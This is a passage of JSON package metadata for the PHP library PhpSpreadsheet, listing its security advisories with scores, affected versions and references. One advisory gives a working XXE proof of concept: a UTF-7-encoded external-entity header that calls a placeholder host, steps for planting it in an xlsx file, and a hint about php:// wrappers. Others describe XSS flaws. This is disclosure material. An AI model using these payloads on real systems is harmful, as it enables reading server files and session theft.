$_POST['A'] = floatval($_POST['A']);\n    $_POST['B'] = floatval($_POST['B']);\n    $_POST['C'] = floatval($_POST['C']);\n    if ($_POST['A'] == 0) {\n```\n\nThank you for your time!","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-10-07T14:43:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-v66g-p9x6-v98p","https://github.com/PHPOffice/PhpSpreadsheet/commit/3990173db1207767139e63d33783beafada57007","https://github.com/PHPOffice/PhpSpreadsheet/commit/bc74f3aa1d76f191c6c7c3631e286abb25c38759","https://github.com/PHPOffice/PhpSpreadsheet/commit/fb42a103f14cfce258c836b31f4a71f1fb1a9747","https://nvd.nist.gov/vuln/detail/CVE-2024-45060","https://github.com/PHPOffice/PhpSpreadsheet/blob/d50b8b5de7e30439fb57eae7df9ea90e79fa0f2d/samples/Basic/45_Quadratic_equation_solver.php#L56","https://github.com/advisories/GHSA-v66g-p9x6-v98p"],"source_kind":"github","identifiers":["GHSA-v66g-p9x6-v98p","CVE-2024-45060"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":22.80579366476572,"created_at":"2024-10-07T15:06:20.606Z","updated_at":"2026-10-27T10:08:42.018Z","epss_percentage":0.00507,"epss_percentile":0.43003,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NjZnLXA5eDYtdjk4cM4ABAA1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12NjZnLXA5eDYtdjk4cM4ABAA1","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.2","vulnerable_version_range":"\u003c 1.29.2"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NjZnLXA5eDYtdjk4cM4ABAA1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1naGc2LTMyZjktMmpwN84AA_B0","url":"https://github.com/advisories/GHSA-ghg6-32f9-2jp7","title":"XXE in PHPSpreadsheet encoding is returned","description":"### Summary\nBypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) \n\n### Details\nCheck ` $pattern = '/encoding=\"(.*?)\"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this:\n```\n\u003c?xml version=\"1.0\" encoding='UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://example.com/file.dtd\"\u003e %xxe;]\u003e\n```\nIf you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. \n\n### PoC\n1) Create simple xlsx file\n2) Rename xlsx to zip\n3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.\n4) Replace `\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e` to \n```\n\u003c?xml version=\"1.0\" encoding='UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://%webhook%/file.dtd\"\u003e %xxe;]\u003e\n```\n5) Save `sharedStrings.xml` file and rename zip back to xlsx.\n6) Use minimal php code that simply opens this xlsx file:\n```\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\nrequire __DIR__ . '/vendor/autoload.php';\n$spreadsheet = IOFactory::load(\"file.xlsx\");\n```\n7) You will receive the request to your `http://%webhook%/file.dtd`\n8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.\n\n### Impact\nRead local files\n![lfi](https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-08-29T17:58:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7","https://nvd.nist.gov/vuln/detail/CVE-2024-45048","https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda","https://github.com/advisories/GHSA-ghg6-32f9-2jp7"],"source_kind":"github","identifiers":["GHSA-ghg6-32f9-2jp7","CVE-2024-45048"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":37.435925449709764,"created_at":"2024-08-29T18:05:39.119Z","updated_at":"2026-10-27T10:09:04.338Z","epss_percentage":0.00605,"epss_percentile":0.48628,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naGc2LTMyZjktMmpwN84AA_B0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1naGc2LTMyZjktMmpwN84AA_B0","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"2.2.1","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.1"},{"first_patched_version":"1.29.1","vulnerable_version_range":"\u003c 1.29.1"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naGc2LTMyZjktMmpwN84AA_B0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13Z21mLXE5dnItdnd3Ns4AA_Bz","url":"https://github.com/advisories/GHSA-wgmf-q9vr-vww6","title":"PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information","description":"### Summary\n\n`\\PhpOffice\\PhpSpreadsheet\\Writer\\Html` doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.\n\n### PoC\n\nExample target script:\n\n```\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nSave this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx)\n\nOpen index.php in a web browser. An alert should be displayed.\n\n### Impact\n\nFull takeover of the session of users viewing spreadsheet files as HTML.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-08-29T17:56:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6","https://nvd.nist.gov/vuln/detail/CVE-2024-45046","https://github.com/PHPOffice/PhpSpreadsheet/pull/3957","https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667","https://github.com/advisories/GHSA-wgmf-q9vr-vww6"],"source_kind":"github","identifiers":["GHSA-wgmf-q9vr-vww6","CVE-2024-45046"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"created_at":"2024-08-29T18:05:39.153Z","updated_at":"2026-10-27T10:09:04.337Z","epss_percentage":0.00418,"epss_percentile":0.35856,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Z21mLXE5dnItdnd3Ns4AA_Bz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13Z21mLXE5dnItdnd3Ns4AA_Bz","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.29.1","vulnerable_version_range":"\u003c 1.29.1"},{"first_patched_version":"2.1.0","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Z21mLXE5dnItdnd3Ns4AA_Bz/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRtcXYtZ2NyMy1wZmY5","url":"https://github.com/advisories/GHSA-4mqv-gcr3-pff9","title":"Cross-site scripting in phpoffice/phpspreadsheet","description":"This affects the package phpoffice/phpspreadsheet. The library is vulnerable to XSS when creating an html output from an excel file by adding a comment on any cell. The root cause of this issue is within the HTML writer where user comments are concatenated as part of link and this is returned as HTML.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-06T18:53:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-7776","https://github.com/PHPOffice/PhpSpreadsheet/commit/0ed5b800be2136bcb8fa9c1bdf59abc957a98845","https://github.com/PHPOffice/PhpSpreadsheet/blob/master/src/PhpSpreadsheet/Writer/Html.php%23L1792","https://snyk.io/vuln/SNYK-PHP-PHPOFFICEPHPSPREADSHEET-1048856","https://github.com/PHPOffice/PhpSpreadsheet/pull/1719","https://github.com/FriendsOfPHP/security-advisories/blob/master/phpoffice/phpspreadsheet/CVE-2020-7776.yaml","https://github.com/advisories/GHSA-4mqv-gcr3-pff9"],"source_kind":"github","identifiers":["GHSA-4mqv-gcr3-pff9","CVE-2020-7776"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":0.0,"created_at":"2022-12-21T16:13:07.862Z","updated_at":"2026-10-27T10:12:49.334Z","epss_percentage":0.01317,"epss_percentile":0.70523,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRtcXYtZ2NyMy1wZmY5","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRtcXYtZ2NyMy1wZmY5","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003c 1.16.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRtcXYtZ2NyMy1wZmY5/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZ2d3YtaDY5bS13ZzZm","url":"https://github.com/advisories/GHSA-vvwv-h69m-wg6f","title":"XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue","description":"PHPOffice PhpSpreadsheet before 1.8.0 has an XXE issue. The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than UTF-8 is declared in the header. This was a security measurement to prevent CVE-2018-19277 but the fix is not sufficient. By double-encoding the the xml payload to utf-7 it is possible to bypass the check for the string ?\u003c!ENTITY? and thus allowing for an xml external entity processing (XXE) attack.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-11-20T01:39:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-12331","https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md#180---2019-07-01","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.8.0","https://github.com/PHPOffice/PhpSpreadsheet/pull/1041","https://github.com/PHPOffice/PhpSpreadsheet/commit/0e6238c69e863b58aeece61e48ea032696c6dccd","https://github.com/FriendsOfPHP/security-advisories/blob/master/phpoffice/phpspreadsheet/CVE-2019-12331.yaml","https://herolab.usd.de/security-advisories/usd-2019-0046","https://github.com/advisories/GHSA-vvwv-h69m-wg6f"],"source_kind":"github","identifiers":["GHSA-vvwv-h69m-wg6f","CVE-2019-12331"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":0.0,"created_at":"2022-12-21T16:13:27.217Z","updated_at":"2026-10-27T10:12:49.337Z","epss_percentage":0.0135,"epss_percentile":0.70513,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZ2d3YtaDY5bS13ZzZm","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZ2d3YtaDY5bS13ZzZm","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.8.0","vulnerable_version_range":"\u003c 1.8.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZ2d3YtaDY5bS13ZzZm/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhjcmctMjloNy1oNGNq","url":"https://github.com/advisories/GHSA-xcrg-29h7-h4cj","title":"XXE in PHPSpreadsheet due to encoding issue","description":"securityScan() in PHPOffice PhpSpreadsheet through 1.5.0 allows a bypass of protection mechanisms for XXE via UTF-7 encoding in a .xlsx file","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-11-20T01:38:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-19277","https://github.com/MewesK/TwigSpreadsheetBundle/issues/18","https://github.com/PHPOffice/PhpSpreadsheet/issues/771","https://www.drupal.org/sa-contrib-2021-043","https://github.com/PHPOffice/PhpSpreadsheet/pull/780","https://github.com/PHPOffice/PhpSpreadsheet/commit/0f8f071e24ee8b114d894ac172f77dc250e5bfa4","https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.5.1","https://github.com/FriendsOfPHP/security-advisories/blob/master/phpoffice/phpspreadsheet/CVE-2018-19277.yaml","https://www.bishopfox.com/news/2018/11/phpoffice-versions","https://github.com/PHPOffice/PHPExcel/commit/2b601574975acfb9d4378a788ed5f2b747958095","https://github.com/PHPOffice/PHPExcel/commits/1.8.2","https://github.com/advisories/GHSA-xcrg-29h7-h4cj"],"source_kind":"github","identifiers":["GHSA-xcrg-29h7-h4cj","CVE-2018-19277"],"repository_url":"https://github.com/MewesK/TwigSpreadsheetBundle","blast_radius":0.0,"created_at":"2022-12-21T16:13:27.226Z","updated_at":"2026-10-27T10:11:51.188Z","epss_percentage":0.07791,"epss_percentile":0.94501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhjcmctMjloNy1oNGNq","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhjcmctMjloNy1oNGNq","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":"1.8.2","vulnerable_version_range":"\u003c 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.5.1","vulnerable_version_range":"\u003c 1.5.1"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhjcmctMjloNy1oNGNq/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/packagist/phpoffice/phpspreadsheet","docker_dependents_count":332,"docker_downloads_count":71943539,"usage_url":"https://repos.ecosyste.ms/usage/packagist/phpoffice/phpspreadsheet","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/packagist/phpoffice/phpspreadsheet/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-25T17:16:24.155Z","issues_count":628,"pull_requests_count":1131,"avg_time_to_close_issue":29732677.744897958,"avg_time_to_close_pull_request":2181615.9423076925,"issues_closed_count":490,"pull_requests_closed_count":988,"pull_request_authors_count":145,"issue_authors_count":516,"avg_comments_per_issue":3.304140127388535,"avg_comments_per_pull_request":0.8824049513704686,"merged_pull_requests_count":827,"bot_issues_count":1,"bot_pull_requests_count":154,"past_year_issues_count":47,"past_year_pull_requests_count":151,"past_year_avg_time_to_close_issue":1000202.7714285714,"past_year_avg_time_to_close_pull_request":463304.3781512605,"past_year_issues_closed_count":35,"past_year_pull_requests_closed_count":119,"past_year_pull_request_authors_count":31,"past_year_issue_authors_count":33,"past_year_avg_comments_per_issue":2.1914893617021276,"past_year_avg_comments_per_pull_request":1.589403973509934,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":24,"past_year_merged_pull_requests_count":92,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/issues","maintainers":[{"login":"oleibman","count":724,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/oleibman"},{"login":"MarkBaker","count":30,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MarkBaker"},{"login":"PowerKiKi","count":21,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PowerKiKi"},{"login":"Progi1984","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Progi1984"},{"login":"moshloop","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/moshloop"}],"active_maintainers":[{"login":"oleibman","count":61,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/oleibman"},{"login":"Progi1984","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Progi1984"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/phpoffice%2Fphpspreadsheet/codemeta","maintainers":[{"uuid":"PowerKiKi","login":"PowerKiKi","name":null,"email":null,"url":null,"packages_count":12,"html_url":"https://packagist.org/users/PowerKiKi","role":null,"created_at":"2022-11-10T10:42:33.267Z","updated_at":"2022-11-10T10:42:33.267Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers/PowerKiKi/packages"},{"uuid":"PHPOffice","login":"PHPOffice","name":null,"email":null,"url":null,"packages_count":18,"html_url":"https://packagist.org/users/PHPOffice","role":null,"created_at":"2022-11-10T10:42:33.262Z","updated_at":"2022-11-10T10:42:33.262Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers/PHPOffice/packages"},{"uuid":"Progi1984","login":"Progi1984","name":null,"email":null,"url":null,"packages_count":15,"html_url":"https://packagist.org/users/Progi1984","role":null,"created_at":"2022-11-10T10:42:33.264Z","updated_at":"2022-11-10T10:42:33.264Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers/Progi1984/packages"}]}